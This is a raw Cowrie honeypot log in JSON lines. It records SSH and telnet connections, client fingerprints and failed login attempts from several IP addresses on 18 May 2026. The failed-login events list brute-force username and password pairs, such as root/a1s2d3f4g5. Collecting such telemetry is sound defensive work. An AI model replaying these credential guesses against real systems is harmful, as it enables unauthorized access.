{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:13.990874Z","src_ip":"45.153.34.97","session":"2adac65e6871","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"p@ssw0rd","message":"login attempt [jenkins/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:14.375349Z","src_ip":"45.153.34.97","session":"2adac65e6871","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:14.533928Z","src_ip":"159.65.8.74","session":"26be439fb843","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:15.474662Z","src_ip":"45.153.34.97","session":"2adac65e6871","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.36.83","src_port":52196,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3501a1a2c3f","protocol":"ssh","message":"New connection: 43.153.36.83:52196 (10.17.0.5:22) [session: a3501a1a2c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:17.162692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:17.167274Z","src_ip":"43.153.36.83","session":"a3501a1a2c3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:17.235487Z","src_ip":"43.153.36.83","session":"a3501a1a2c3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.250.238","src_port":40988,"dst_ip":"10.17.0.5","dst_port":22,"session":"790c0e43020f","protocol":"ssh","message":"New connection: 192.169.250.238:40988 (10.17.0.5:22) [session: 790c0e43020f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:17.292845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:17.298128Z","src_ip":"192.169.250.238","session":"790c0e43020f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:17.371222Z","src_ip":"192.169.250.238","session":"790c0e43020f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4g5","message":"login attempt [root/a1s2d3f4g5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:17.537847Z","src_ip":"43.153.36.83","session":"a3501a1a2c3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"psj","message":"login attempt [root/psj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:17.693522Z","src_ip":"192.169.250.238","session":"790c0e43020f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.352480173110962,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:17.709802Z","src_ip":"152.42.224.71","session":"9f9fa70e844a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":64802,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eb2c9a76aaa","protocol":"ssh","message":"New connection: 45.153.34.97:64802 (10.17.0.5:22) [session: 4eb2c9a76aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:18.196860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:18.202559Z","src_ip":"45.153.34.97","session":"4eb2c9a76aaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:18.308784Z","src_ip":"45.153.34.97","session":"4eb2c9a76aaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:18.608812Z","src_ip":"43.153.36.83","session":"a3501a1a2c3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ramin","password":"123456","message":"login attempt [ramin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:18.704945Z","src_ip":"45.153.34.97","session":"4eb2c9a76aaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:18.769526Z","src_ip":"192.169.250.238","session":"790c0e43020f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:19.790541Z","src_ip":"45.153.34.97","session":"4eb2c9a76aaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":45608,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4296f849067","protocol":"ssh","message":"New connection: 45.153.34.97:45608 (10.17.0.5:22) [session: a4296f849067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:22.723775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:22.728535Z","src_ip":"45.153.34.97","session":"a4296f849067","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:22.810412Z","src_ip":"45.153.34.97","session":"a4296f849067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arthur","message":"login attempt [root/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:23.080023Z","src_ip":"45.153.34.97","session":"a4296f849067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:24.174969Z","src_ip":"45.153.34.97","session":"a4296f849067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":45628,"dst_ip":"10.17.0.5","dst_port":22,"session":"027c0235818b","protocol":"ssh","message":"New connection: 45.153.34.97:45628 (10.17.0.5:22) [session: 027c0235818b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:27.414352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:27.418682Z","src_ip":"45.153.34.97","session":"027c0235818b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.531044483184814,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:27.440635Z","src_ip":"152.42.224.71","session":"404ec7f7d856","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:27.501051Z","src_ip":"45.153.34.97","session":"027c0235818b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:27.771322Z","src_ip":"45.153.34.97","session":"027c0235818b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:29.014862Z","src_ip":"45.153.34.97","session":"027c0235818b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":57632,"dst_ip":"10.17.0.5","dst_port":22,"session":"1187c96737db","protocol":"ssh","message":"New connection: 103.77.242.62:57632 (10.17.0.5:22) [session: 1187c96737db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:30.546824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:30.551766Z","src_ip":"103.77.242.62","session":"1187c96737db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:30.790288Z","src_ip":"103.77.242.62","session":"1187c96737db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokian73","message":"login attempt [root/nokian73] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:31.505100Z","src_ip":"103.77.242.62","session":"1187c96737db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":63320,"dst_ip":"10.17.0.5","dst_port":22,"session":"916b0bc36fba","protocol":"ssh","message":"New connection: 45.153.34.97:63320 (10.17.0.5:22) [session: 916b0bc36fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:31.626738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:31.631057Z","src_ip":"45.153.34.97","session":"916b0bc36fba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:31.713200Z","src_ip":"45.153.34.97","session":"916b0bc36fba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vjqgfhjkm","message":"login attempt [root/vjqgfhjkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:31.988067Z","src_ip":"45.153.34.97","session":"916b0bc36fba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:32.748523Z","src_ip":"103.77.242.62","session":"1187c96737db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:33.082090Z","src_ip":"45.153.34.97","session":"916b0bc36fba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00165677070618,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:34.001632Z","src_ip":"152.42.224.71","session":"32389d71c39a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":63336,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3602be05e34","protocol":"ssh","message":"New connection: 45.153.34.97:63336 (10.17.0.5:22) [session: c3602be05e34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:35.915369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:35.920989Z","src_ip":"45.153.34.97","session":"c3602be05e34","protocol":"ssh"}
